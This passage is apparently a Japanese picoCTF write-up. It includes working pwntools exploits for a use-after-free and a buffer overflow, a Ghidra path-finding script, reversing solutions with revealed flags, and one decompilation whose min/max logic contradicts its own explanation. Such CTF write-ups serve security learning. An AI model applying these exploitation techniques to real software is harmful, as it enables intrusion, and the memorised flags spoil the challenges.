for i in range(0, 16):
    for j in range(0, 16):
        a = inv_shift(c[0], chr(0x61 + i))
        b = inv_shift(c[1], chr(0x61 + j))
        decoded = b16_decode(a+b)
        if decoded[0] in "abcdef0123456789":
            cand.append(chr(0x61+i)+chr(0x61+j))
key_cand.append(cand)

print("[+] finish find cand1")
print(f"[+] elapsed: {time.time() - t}")

for i in range(4):
    print(f"[+] start find cand{i + 2}")
    t = time.time()

    cand = []
    for idx in range(len(key_cand[i])):
        for j in range(0, 16):
            for k in range(0, 16):
                a = inv_shift(c[(i+1)*2], chr(0x61 + j))
                b = inv_shift(c[(i+1)*2+1], chr(0x61 + k))
                decoded = b16_decode(a+b)
                if decoded[0] in "abcdef0123456789":
                    cand.append(key_cand[i][idx] + chr(0x61+j)+chr(0x61+k))
    key_cand.append(cand)
    print(f"[+] finish find cand{i + 2}")
    print(f"[+] elapsed: {time.time() - t}")

for kcand in key_cand:
    for key in kcand:
        dec1, dec2 = "", ""
        key_odd = key[:-1]
        for i in range(len(c)):
            dec1 += inv_shift(c[i], key[i % len(key)])
            dec2 += inv_shift(c[i], key_odd[i % len(key_odd)])
        dec1 = b16_decode(dec1)
        dec2 = b16_decode(dec2)
        if all([c in "abcdef0123456789" for c in dec1]):
            print(f"key: {key}\ndecrypted: {dec1}")
            exit()
        if all([c in "abcdef0123456789" for c in dec2]):
            print(f"key: {key_odd}\ndecrypted: {dec2}")
            exit()
$ python solve.py
[+] start find cand1
[+] finish find cand1
[+] elapsed: 0.001474142074584961
[+] start find cand2
[+] finish find cand2
[+] elapsed: 0.029284954071044922
[+] start find cand3
[+] finish find cand3
[+] elapsed: 0.27237415313720703
[+] start find cand4
[+] finish find cand4
[+] elapsed: 6.034616947174072
[+] start find cand5
[+] finish find cand5
[+] elapsed: 85.48889708518982
key: oedcfjdbe
decrypted: 698987ddce418c11e9aa564229c50fda

Binary Exploitation

Unsubscription Are Free

vuln.cとvulnというELF形式の実行ファイルが与えられます。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
    uintptr_t (*whatToDo)();
    char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
    char buf[FLAG_BUFFER];
    FILE *f = fopen("flag.txt","r");
    fgets(buf,FLAG_BUFFER,f);
    fprintf(stdout,"%s\n",buf);
    fflush(stdout);
}

char * getsline(void) {
    getchar();
    char * line = malloc(100), * linep = line;
    size_t lenmax = 100, len = lenmax;
    int c;
    if(line == NULL)
        return NULL;
    for(;;) {
        c = fgetc(stdin);
        if(c == EOF)
            break;
        if(--len == 0) {
            len = lenmax;
            char * linen = realloc(linep, lenmax *= 2);

            if(linen == NULL) {
                free(linep);
                return NULL;
            }
            line = linen + (line - linep);
            linep = linen;
        }

        if((*line++ = c) == '\n')
            break;
    }
    *line = '\0';
    return linep;
}

void doProcess(cmd* obj) {
    (*obj->whatToDo)();
}

void s(){
    printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
    puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
    puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
    puts("Account created.");
}

void leaveMessage(){
    puts("I only read premium member messages but you can ");
    puts("try anyways:");
    char* msg = (char*)malloc(8);
    read(0, msg, 8);
}

void i(){
    char response;
    puts("You're leaving already(Y/N)?");
    scanf(" %c", &response);
    if(toupper(response)=='Y'){
        puts("Bye!");
        free(user);
    }else{
        puts("Ok. Get premium membership please!");
    }
}

void printMenu(){
    puts("Welcome to my stream! ^W^");
    puts("==========================");
    puts("(S)ubscribe to my channel");
    puts("(I)nquire about account deletion");
    puts("(M)ake an Twixer account");
    puts("(P)ay for premium membership");
    puts("(l)eave a message(with or without logging in)");
    puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
    case 'S':
    if(user){
        user->whatToDo = (void*)s;
    }else{
        puts("Not logged in!");
    }
    break;
    case 'P':
    user->whatToDo = (void*)p;
    break;
    case 'I':
    user->whatToDo = (void*)i;
    break;
    case 'M':
    user->whatToDo = (void*)m;
    puts("===========================");
    puts("Registration: Welcome to Twixer!");
    puts("Enter your username: ");
    user->username = getsline();
    break;
   case 'L':
    leaveMessage();
    break;
    case 'E':
    exit(0);
    default:
    puts("Invalid option!");
    exit(1);
      break;
  }
}

int main(){
    setbuf(stdout, NULL);
    user = (cmd *)malloc(sizeof(user));
    while(1){
        printMenu();
        processInput();
        //if(user){
            doProcess(user);
        //}
    }
    return 0;
}

processInputでuser->whatToDoに関数がセットされてdoProcessで実行されます。

hahaexploitgobrrrというフラグを表示する関数がありますがどこからも呼び出されていません。しかし、processInputでSと入力してs関数を呼び出すとhahaexploitgobrrr関数のアドレスを手に入れることができます。

main関数内にあるwhileの中のコメントアウトされた部分がどうも怪しいです。

leaveMessage関数とi関数に着目します。

void leaveMessage(){
    puts("I only read premium member messages but you can ");
    puts("try anyways:");
    char* msg = (char*)malloc(8);
    read(0, msg, 8);
}

void i(){
    char response;
    puts("You're leaving already(Y/N)?");
    scanf(" %c", &response);
    if(toupper(response)=='Y'){
        puts("Bye!");
        free(user);
    }else{
        puts("Ok. Get premium membership please!");
    }
}

まず、i関数から見ていきます。

i関数の中にuserをfreeしている箇所があります。しかし、プログラムは終了されずmain関数に戻って処理が続いていきます。つまり、freeされたはずのuserという変数が使い続けられます。

次にleaveMessage関数を見てみます。

ここではmallocで8byte分の領域を確保し、好きな値を書き込めるようになっています。また、mallocで確保された領域をfreeしていません。

これらのことから、次の操作を行えばhahaexploitgobrrr関数を呼び出すことができます。

  1. Sと入力しs関数を呼び出してhahaexploitgobrrr関数のアドレスを手に入れる
  2. Iと入力しi関数を呼び出してuserをfreeする
  3. Lと入力しleaveMessage関数を呼び出してhahaexploitgobrrr関数のアドレスを入力する

変数userの型であるcmdのサイズは16byteです。userをfreeするとtcache->entries[0]にuserのアドレスがキャッシュされます。その後にmalloc(8)を実行するとキャッシュを利用してtcache->entries[0]からuserのアドレスを取り出し、そのアドレスが返されます。そして、返ってきた領域の先頭8byteはuser->whatToDoとなっておりread(0, msg, 8)でここを書き換えることができるため好きなアドレスに飛ばすことができるのです。

from pwn import *

# p = process("vuln")
p = remote("mercury.picoctf.net", 48259)

# hahaexploitgobrrr
p.recvuntil("(e)xit")
p.sendline("S")
p.recvuntil("OOP! Memory leak...")
target = int(p.recvline().rstrip(), 16)

# free user
p.recvuntil("(e)xit")
p.sendline("I")
p.recvuntil("You're leaving already(Y/N)?")
p.sendline('Y')

# char* msg = (char*)malloc(8); cmdのsizeは16であるから、msgにuserのaddressが入る
p.recvuntil("(e)xit")
p.sendline("L")
p.recvuntil("try anyways:")
p.sendline(p64(target))

print(p.recvline().rstrip().decode())
print(p.recvline().rstrip().decode())
$ python solve.py
[+] Opening connection to mercury.picoctf.net on port 48259: Done

picoCTF{d0ubl3_j30p4rdy_cff1f12d}

Bizz Fuzz

vulnというELF形式の実行ファイルが与えられます。実行すると以下のようになります。

$ ./vuln
1? 1
2? 2
3? fizz
1? 1
2? 0
1? 1
2? 2
3? fizz
4? 4
1? 1
2? 2
3? fizz
4? 4
5? buzz
fizz
...

問題文によるとどこかにBOF脆弱性があるようです。

Ghidraでデコンパイルしてmain関数を見てみます。

void FUN_0814c22c(void)

{
  setbuf(stdout,(char *)0x0);
  FUN_0811d5b3();
  FUN_0811d941();
  puts("fizz");
  FUN_0811ead2();
  puts("buzz");
  puts("fizz");
  FUN_0811fbb3();
  FUN_08120828();
  puts("fizz");
  puts("buzz");
  FUN_08121d33();
  puts("fizz");
  FUN_08122908();
  FUN_08122ea8();
  puts("fizzbuzz");
  FUN_081237e9();
  FUN_081241ca();
  puts("fizz");
  FUN_081255ef();
  puts("buzz");
  puts("fizz");
  FUN_08127392();
  FUN_08127c08();
  puts("fizz");
  puts("buzz");
  FUN_081294b8();
  puts("fizz");
  FUN_0812a7b4();
  FUN_0812b0ae();
  puts("fizzbuzz");
  FUN_0812c368();
  FUN_0812c6f6();
  puts("fizz");
  FUN_0812d430();
  puts("buzz");
  puts("fizz");
  FUN_0812edb3();
  FUN_0812f1b9();
  puts("fizz");
  puts("buzz");
  FUN_081309d7();
  puts("fizz");
  FUN_08131dba();
  FUN_08132072();
  puts("fizzbuzz");
  FUN_0813282a();
  FUN_0813326e();
  puts("fizz");
  FUN_08133b70();
  puts("buzz");
  puts("fizz");
  FUN_08135115();
  FUN_081355d3();
  puts("fizz");
  puts("buzz");
  FUN_08137124();
  puts("fizz");
  FUN_08137f92();
  FUN_08138931();
  puts("fizzbuzz");
  FUN_0813979b();
  FUN_08139ba1();
  puts("fizz");
  FUN_0813ac2a();
  puts("buzz");
  puts("fizz");
  FUN_0813ca30();
  FUN_0813cf2e();
  puts("fizz");
  puts("buzz");
  FUN_0813e2a2();
  puts("fizz");
  FUN_0813f4d8();
  FUN_0813fe56();
  puts("fizzbuzz");
  FUN_08140c2e();
  FUN_081413de();
  puts("fizz");
  FUN_0814215d();
  puts("buzz");
  puts("fizz");
  FUN_08142af1();
  FUN_08143724();
  puts("fizz");
  puts("buzz");
  FUN_081451af();
  puts("fizz");
  FUN_08145c2a();
  FUN_0814668f();
  puts("fizzbuzz");
  FUN_081470c9();
  FUN_08147792();
  puts("fizz");
  FUN_0814868f();
  puts("buzz");
  puts("fizz");
  FUN_0814a663();
  FUN_0814ac03();
  puts("fizz");
  puts("buzz");
  return;
}

大量に関数を呼び出しているのがわかります。setbufの後に呼び出しているFUN_0811d5b3を見ていきます。

void FUN_0811d5b3(void)

{
  int iVar1;
  
  iVar1 = FUN_080486b1(4);
  if (iVar1 != 4) {
    FUN_081451af();
    iVar1 = FUN_080486b1(4);
    if (iVar1 != 4) {
      FUN_0812d430();
      iVar1 = FUN_080486b1(10);
      if (iVar1 != 10) {
        FUN_0812d430();
        iVar1 = FUN_080486b1(7);
        if (iVar1 != 7) {
          FUN_08140c2e();
          iVar1 = FUN_080486b1(0x11);
          if (iVar1 != 0x11) {
            FUN_0811d5b3();
            iVar1 = FUN_080486b1(2);
            if (iVar1 != 2) {
              FUN_0813e2a2();
              iVar1 = FUN_080486b1(0xe);
              if (iVar1 != 0xe) {
                FUN_0813fe56();
                iVar1 = FUN_080486b1(6);
                if (iVar1 != 6) {
                  FUN_08137124();
                  iVar1 = FUN_080486b1(0xe);
                  if (iVar1 != 0xe) {
                    FUN_08142af1();
                    iVar1 = FUN_080486b1(2);
                    if (iVar1 != 2) {
                      FUN_08127392();
                      iVar1 = FUN_080486b1(0xc);
                      if (iVar1 != 0xc) {
                        FUN_0812f1b9();
                        iVar1 = FUN_080486b1(3);
                        if (iVar1 != 3) {
                          FUN_08146b6b();
                          iVar1 = FUN_080486b1(0x11);
                          if (iVar1 != 0x11) {
                            FUN_0812edb3();
                            iVar1 = FUN_080486b1(8);
                            if (iVar1 != 8) {
                              FUN_081309d7();
                              iVar1 = FUN_080486b1(0x11);
                              if (iVar1 != 0x11) {
                                FUN_08140c2e();
                                iVar1 = FUN_080486b1(9);
                                if (iVar1 != 9) {
                                  FUN_0814ac03();
                                  iVar1 = FUN_080486b1(0x11);
                                  if (iVar1 != 0x11) {
                                    FUN_0812b0ae();
                                    iVar1 = FUN_080486b1(0x12);
                                    if (iVar1 != 0x12) {
                                      FUN_0814668f();
                                      iVar1 = FUN_080486b1(0xb);
                                      if (iVar1 != 0xb) {
                                        FUN_080fc4b8();
                                        iVar1 = FUN_080486b1(0x11);
                                        if (iVar1 != 0x11) {
                                          FUN_0811ead2();
                                          iVar1 = FUN_080486b1(3);
                                          if (iVar1 != 3) {
                                            FUN_08142af1();
                                            iVar1 = FUN_080486b1(4);
                                            if (iVar1 != 4) {
                                              FUN_08120828();
                                              iVar1 = FUN_080486b1(7);
                                              if (iVar1 != 7) {
                                                FUN_0813ac2a();
                                                iVar1 = FUN_080486b1(7);
                                                if (iVar1 != 7) {
                                                  FUN_08127392();
                                                  iVar1 = FUN_080486b1(6);
                                                  if (iVar1 != 6) {
                                                    FUN_08138931();
                                                    iVar1 = FUN_080486b1(10);
                                                    if (iVar1 != 10) {
                                                      FUN_08147792();
                                                      iVar1 = FUN_080486b1(0xc);
                                                      if (iVar1 != 0xc) {
                                                        FUN_08140c2e();
                                                        iVar1 = FUN_080486b1(0xc);
                                                        if (iVar1 != 0xc) {
                                                          FUN_0811d941();
                                                          iVar1 = FUN_080486b1(3);
                                                          if (iVar1 != 3) {
                                                            FUN_0812d430();
                                                            iVar1 = FUN_080486b1(2);
                                                            if (iVar1 != 2) {
                                                              FUN_0814868f();
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return;
}

FUN_080486b1の結果を見て分岐しています。main関数で呼び出している関数は全て似たような感じになっています。FUN_080486b1min(第一引数, FizzBuzzに正解した回数)を返す関数です。

いろいろ見ているとフラグを表示する関数が見つかりました。

void FUN_08048656(void)

{
  char local_74 [100];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fgets(local_74,100,local_10);
  puts(local_74);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

BOFでリターンアドレスを書き換えてこの関数に飛ばせば良さそうです。

手作業で解析するのは無謀なのでGhidraスクリプトを書いて解析しました。

from __main__ import *

START = 0x0804883a
END = 0x0811d5b3
FGETS_ADDR = 0x080484a0
GET_PC_THUNK = [toAddr(0x814c6ca), toAddr(0x8048590), toAddr(0x8048573)]
MAX_DEPTH = 1e3

INNER_MAIN_FUNCS = [0x811d5b3,0x811d941,0x811ead2,0x811fbb3,0x8120828,0x8121d33,0x8122908,0x8122ea8,0x81237e9,0x81241ca,0x81255ef,0x8127392,0x8127c08,0x81294b8,0x812a7b4,0x812b0ae,0x812c368,0x812c6f6,0x812d430,0x812edb3,0x812f1b9,0x81309d7,0x8131dba,0x8132072,0x813282a,0x813326e,0x8133b70,0x8135115,0x81355d3,0x8137124,0x8137f92,0x8138931,0x813979b,0x8139ba1,0x813ac2a,0x813ca30,0x813cf2e,0x813e2a2,0x813f4d8,0x813fe56,0x8140c2e,0x81413de,0x814215d,0x8142af1,0x8143724,0x81451af,0x8145c2a,0x814668f,0x81470c9,0x8147792,0x814868f,0x814a663,0x814ac03]

def getInstructionAfterN(addr, n):
    inst = getInstructionAt(addr)
    insts = []
    for i in range(n):
        insts.append(getInstructionAfter(inst))
        inst = getInstructionAfter(inst)
    return insts

def getInstructionBeforeN(addr, n):
    inst = getInstructionAt(addr)
    insts = []
    for i in range(n):
        insts.append(getInstructionBefore(inst))
        inst = getInstructionBefore(inst)
    return insts

# Find functions that are vulnerable to BOF.
def find_bof():
    fm = getCurrentProgram().getFunctionManager()

    funcs = []
    for f in fm.getFunctions(True):
        addr = f.getEntryPoint().getOffset()
        if START <= addr < END:
            funcs.append(f)

    # find BOF
    for func in funcs:
        entry = func.getEntryPoint()
        tmp = getInstructionAfterN(entry, 3)
        sub_esp = tmp[-1]
        stack_size = sub_esp.getOpObjects(1)[0].getValue()
        # get bufsize
        buf_size = abs(func.getLocalVariables()[-1].getStackOffset())

        inst = getInstructionAt(entry)
        while True:
            iaddr = inst.getInstructionContext().getAddress()
            mnemo = inst.getMnemonicString()
            if mnemo == "CALL":
                target = inst.getOpObjects(0)[0].getOffset()
                if target == FGETS_ADDR:
                    arg2_inst = getInstructionBeforeN(iaddr, 3)[-1]
                    arg2 = arg2_inst.getOpObjects(0)[0].getValue()
                    if arg2 > buf_size:
                        print("found BOF!")
                        print("func:", func, entry)
                        print("addr:", iaddr)
                        print(arg2, buf_size)
                        return func

            if getFunctionContaining(iaddr) != func:
                break
            inst = inst.getNext()

# Find path from the main function to the BOF vulnerable function
def find_path():
    fm = getCurrentProgram().getFunctionManager()
    bof_func = find_bof()
    target_addr = [toAddr(addr) for addr in INNER_MAIN_FUNCS]

    results = []
    already_passed = set()
    print("[+] start!")
    def find_recursive(addr, parent_addr, paths, depth=0):
        if depth >= MAX_DEPTH:
            return
        already_passed.add(addr)
        for ref in getReferencesTo(addr):
            from_addr = ref.getFromAddress()
            f = fm.getFunctionContaining(from_addr)
            if not f:
                continue
            if f.getEntryPoint() in already_passed:
                continue
            for ta in target_addr:
                if f.getEntryPoint().getOffset() == ta.getOffset():
                    print("found!!!!!!!!!!!!!!!!!!!!!!!")
                    print(addr, parent_addr, f, from_addr)
                    paths[parent_addr] = {addr:f.getEntryPoint()}
                    results.append(f.getEntryPoint())
                    return
            paths[parent_addr] = {addr:None}
            find_recursive(f.getEntryPoint(), addr, paths[parent_addr], depth=depth+1)
    paths = {}
    find_recursive(bof_func.getEntryPoint(), toAddr(0), paths)
    print("[+] finish!")
    print("*** path ***")
    print(paths)

def fizzbuzz(n):
    s = []
    for i in range(1, n+1):
        if i % 15 == 0:
            s.append("fizzbuzz")
        elif i % 3 == 0:
            s.append("fizz")
        elif i % 5 == 0:
            s.append("buzz")
        else:
            s.append(str(i))
    return "\n".join(s) + "\n"

# Find all `call <func>` in the given func
def find_calls(func, target=None, avoid=None):
    calls = []
    inst = getInstructionAt(func.getEntryPoint())
    while True:
        iaddr = inst.getInstructionContext().getAddress()
        mnemo = inst.getMnemonicString()
        if mnemo == "CALL":
            call_func = inst.getOpObjects(0)[0]
            if target and call_func == target:
                calls.append((iaddr, call_func))
                continue
            if not avoid or (avoid and call_func not in avoid):
                calls.append((iaddr, call_func))
        if getFunctionContaining(iaddr) != func:
            break
        inst = inst.getNext()
    return calls

def solve_fizzbuzz(call_addr):
    # push <val>
    # call FUN_080486b1
    push = getInstructionBefore(call_addr)
    val = push.getOpObjects(0)[0].getValue()
    return fizzbuzz(val - 1)

def gen_payload():
    payload = ""
    paths = [0x813ca30, 0x8143ffd, 0x81313b8, 0x8109f08, 0x808ae73]
    for im in INNER_MAIN_FUNCS:
        if im == paths[0]:
            break
        first = find_calls(getFunctionAt(toAddr(im)), avoid=GET_PC_THUNK)[0]
        payload += solve_fizzbuzz(first[0])

    print("[+] path 1: done!")

    for idx in range(len(paths) - 2):
        first_func_addr = paths[idx]
        print("[+] path %d (%s): start!" % (idx + 2, hex(first_func_addr)))
        calls = find_calls(getFunctionAt(toAddr(first_func_addr)), avoid=GET_PC_THUNK)
        for i in range(0, len(calls), 2):
            caddr, ctarget = calls[i]
            caddr_if, ctarget_if = calls[i+1]
            # debug print
            print("out: FUN_%s" % (hex(ctarget.getOffset())))
            print("in : FUN_%s" % (hex(ctarget_if.getOffset())))
            if ctarget_if.getOffset() != paths[idx+1]:
                payload += "0\n"
                ct_if_func = getFunctionAt(ctarget_if)
                first = find_calls(ct_if_func, avoid=GET_PC_THUNK)[0]
                payload += solve_fizzbuzz(first[0])
            else:
                payload += "0\n"
                break
        print("[+] path %d (%s): done!" % (idx + 2, hex(first_func_addr)))

    # 0x8109f08: manual input
    # if local_10 == 5 then call 0x808ae73
    payload += fizzbuzz(5 - 1)
    payload += "0\n"
    ## 0x808ae73: manual input
    ## if local_10 == 1 then call vuln fgets
    payload += "0\n"
    # save payload
    with open("/<homepath>/payload.txt", "w") as f:
        f.write(payload)
    print("[+] done!")

このスクリプトの主な関数は以下の3つです

  • find_bof: BOFできる関数を探す関数
    • fgetsを呼び出している場所を見つけて第二引数を調べる
    • 第二引数がスタック上に確保した領域より大きいか調べる
    • 大きければBOFできる関数として返す
  • find_path: BOFできる関数へたどり着くための分岐を求める関数
  • gen_payload: BOFできる関数へたどり着くための入力を生成する関数

Ghidra上のPythonインタプリタ上でgen_payload関数を実行するとホームディレクトリにpayload.txtが生成されます。

Python Interpreter for Ghidra
Based on Jython version 2.7.2 (v2.7.2:925a3cc3b49d, Mar 21 2020, 10:03:58)
[Java HotSpot(TM) 64-Bit Server VM (Oracle Corporation)]
Press 'F1' for usage instructions
>>> from bizzfuzz import *
>>> find_bof()
found BOF!
('func:', FUN_0808ae73, 0808ae73)
('addr:', 0808aeb0)
(348L, 103)
FUN_0808ae73 # BOFの脆弱性がある関数
>>> find_path()
found BOF!
('func:', FUN_0808ae73, 0808ae73)
('addr:', 0808aeb0)
(348L, 103)
[+] start!
found!!!!!!!!!!!!!!!!!!!!!!!
(08143ffd, 081313b8, FUN_0813ca30, 0813cb2e)
[+] finish!
*** path ***
{00000000: {0808ae73: {08109f08: {081313b8: {08143ffd: 0813ca30}}}}}
>>> # find_pathの結果から
>>> # main -> 0x813ca30 -> 0x8143ffd -> 0x81313b8 -> 0x8109f08 -> 0x808ae73
>>> gen_payload()
[+] path 1: done!
[+] path 2 (0x813ca30): start!
out: FUN_0x80486b1L
in : FUN_0x813282aL
...
out: FUN_0x80486b1L
in : FUN_0x8109f08L
[+] path 4 (0x81313b8): done!
[+] done!

あとは生成されたpayloadを送信して、BOFを利用してリターンアドレスをFUN_08048656書き換えるとフラグが手に入ります。

from pwn import *

show_flag = 0x8048656
offset = 103

p = remote("mercury.picoctf.net", 26424)

with open("payload.txt") as f:
    for line in f.readlines():
            # 改行があるとfgetsの部分でこけるため
        if line.rstrip() == "0":
            p.send(b"A" * 9)
        else:
            p.sendline(line.rstrip())
    # overwrite retaddr
    payload = b"A" * offset
    payload += p32(show_flag)
    p.sendline(payload)
    p.interactive()
[+] Opening connection to mercury.picoctf.net on port 26424: Done
[*] Switching to interactive mode
1? 2? 3? 1? 2? 3? 4? 5? 6? fizz
1? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? fizz
buzz
1? 2? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? fizzbuzz
1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? fizz
buzz
1? 2? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? fizzbuzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 1? 2? 3? 4? 5? 6? 7? 8? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz
buzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizz
1? 2? 3? 4? 5? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? fizzbuzz
1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? buzz
fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? fizz
buzz
1? 2? 3? 4? 5? 6? 7? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizzbuzz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? fizz
1? 2? 3? 4? 5? 6? 7? 8? 9? 10? buzz
fizz
1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 1? 1? 2? 3? 4? 5? 6? 1? 1?
 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4?
5? 6? 7? 8? 9? 1? 1? 1? 1? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1?
1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 1? 1? 2? 3? 1? 1? 2? 3? 4? 5? 6? 7? 8
? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1?
1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 1? 2? 3? 4? 5? 6? 7? 8? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12
? 13? 1? 1? 2? 3? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 1? picoCTF{y0u_found_m3}

[*] Got EOF while reading in interactive

Reversing

Transformation

encというファイルが与えられます。

問題文を見ると

''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

と書かれています。これをもとにencを復元するコードを書けばフラグが手に入ります。

enc = open("enc").read()

flag = ""
for e in enc:
    flag += chr((ord(e) & 0xff00) >> 8)
    flag += chr(ord(e) & 0xff)

print(flag)
$ python solve.py
picoCTF{16_bits_inst34d_of_8_04c0760d}

keygenme-py

keygenme-trial.pyというファイルが渡されます。その中のcheck_key関数に着目します。

def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False
            print(f"{i}: ok!")
            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False

        return True

key_full_template_trialusername_trialはkeygenme-trial.pyに書かれているため、keyを求めることができます。

import hashlib

key = "picoCTF{1n_7h3_|<3y_of_"
username_trial = b"PRITCHARD"

key += hashlib.sha256(username_trial).hexdigest()[4] \
    + hashlib.sha256(username_trial).hexdigest()[5] \
    + hashlib.sha256(username_trial).hexdigest()[3] \
    + hashlib.sha256(username_trial).hexdigest()[6] \
    + hashlib.sha256(username_trial).hexdigest()[2] \
    + hashlib.sha256(username_trial).hexdigest()[7] \
    + hashlib.sha256(username_trial).hexdigest()[1] \
    + hashlib.sha256(username_trial).hexdigest()[8]

print(key + "}")
$ python solve.py
picoCTF{1n_7h3_|<3y_of_54ef6292}

crackme-py

decode_secret関数にbezos_cc_secretという変数を渡すとフラグが得られます。

bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"

# Reference alphabet
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

def decode_secret(secret):
    """ROT47 decode

    NOTE: encode and decode are the same operation in the ROT cipher family.
    """

    # Encryption key
    rotate_const = 47

    # Storage for decoded secret
    decoded = ""

    # decode loop
    for c in secret:
        index = alphabet.find(c)
        original_index = (index + rotate_const) % len(alphabet)
        decoded = decoded + alphabet[original_index]

    print(decoded)

decode_secret(bezos_cc_secret)
$ python solve.py
picoCTF{1|\/|_4_p34|\|ut_dd2c4616}

ARMssembly_0

armアセンブリが渡されます。

適当にarmアセンブリについて調べるといろいろ情報が出てくるので、それを参考に渡されたアセンブリコードを読んでいきます。

また、Compiler explorerを使うとC言語をarmアセンブリに変換できるので、うまく読み取れているか確認できます。

chall.Sを手動逆コンパイルすると以下のコードになります。

#include <stdio.h>

int func1(int a, int b) {
    return b <= a ? b : a;
}

int main(int argc, char *argv[]) {
    int a = atoi(argv[1]);
    int b = atoi(argv[2]);
    printf("Result: %d\n", func1(a, b));
}

与えられた2つの引数の内大きい方を出力するだけのプログラムです。

What integer does this program print with arguments 1765227561 and 1830628817?

と問題文にあるので17652275611830628817の内大きい方、つまり1830628817を16進8桁の値にしてpicoCTF{}で包んだpicoCTF{6d1d2dd1}がフラグとなります。

speeds and feeds

nc mercury.picoctf.net 7032に接続すると以下の文字列が得られました(長いので一部だけ)

G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310

